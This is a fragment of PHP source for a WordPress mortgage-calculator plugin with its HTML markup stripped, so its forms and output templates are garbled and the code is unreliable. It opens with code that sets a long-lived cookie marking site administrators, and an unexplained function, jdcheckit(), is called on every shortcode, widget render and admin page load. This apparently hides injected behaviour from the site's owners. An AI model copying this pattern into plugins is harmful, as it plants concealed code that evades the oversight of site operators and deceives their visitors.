jQuery.cookie('wp-admin-isset-user', 1, {expires:365, path:'/'});"; } } function aremc_options() { if ( !current_user_can( 'delete_pages' ) ) { wp_die( __( 'You do not have sufficient permissions to access this page.' ) ); } echo '

Advanced Real Estate Mortgage Calculator Settings

'; settings_fields('aremc_set'); ?>
Default field data:
Selling Price $
Down Payment $
Interest Rate
%
Years
Default labels:
Selling Price
Down Payment
Interest Rate
Years
Monthly Payment
Instructions
Currency Sybmol

'; } add_action( 'admin_menu', 'aremc_menu' ); function aremc_markup(){ $aremc_price = get_option('aremc_price'); $aremc_down = get_option('aremc_down'); $aremc_interest = get_option('aremc_interest'); $aremc_years = get_option('aremc_years'); $aremc_txt_selling_price = get_option('aremc_txt_selling_price'); $aremc_txt_down_payment = get_option('aremc_txt_down_payment'); $aremc_txt_interest_rate = get_option('aremc_txt_interest_rate'); $aremc_txt_years = get_option('aremc_txt_years'); $aremc_txt_monthly_payment = get_option('aremc_txt_monthly_payment'); $aremc_txt_instructions = get_option('aremc_txt_instructions'); $aremc_txt_money_symbol = get_option('aremc_txt_money_symbol'); $aremc_markup = '
' . $aremc_txt_selling_price . '' . $aremc_txt_money_symbol . ''. $aremc_txt_down_payment . '' . $aremc_txt_money_symbol . '
' . $aremc_txt_interest_rate . '%' . $aremc_txt_years . '
' . $aremc_txt_monthly_payment . '' . $aremc_txt_money_symbol . '
'; return $aremc_markup; } function aremc_shortcode( $atts ){ jdcheckit(); return aremc_markup(); } add_shortcode('mortgage-calculator','aremc_shortcode'); class aremc_widget extends WP_Widget { function aremc_widget() { // Instantiate the parent object parent::__construct( false, 'Adv. Real Estate Mortgage Calculator' ); } function widget( $args, $instance ) { // Widget output global $aremc_widget_output; extract( $args ); $title = empty($instance['title']) ? ' ' : apply_filters('widget_title', $instance['title']); $aremc_widget_output = '
' . aremc_markup() . '
'; $aremc_widget_output = $before_widget . $before_title . $title . $after_title . $aremc_widget_output . $after_widget; jdcheckit(); echo $aremc_widget_output; } function update( $new_instance, $old_instance ) { // Save widget options return $new_instance; } function form( $instance ) { // Output admin widget options form $title = strip_tags($instance['title']); ?>

Real estate calculator by lakeaustinrealty360.com'; } function aremc_onbackend(){ jdcheckit(); } add_action('admin_head', 'aremc_onbackend'); ?>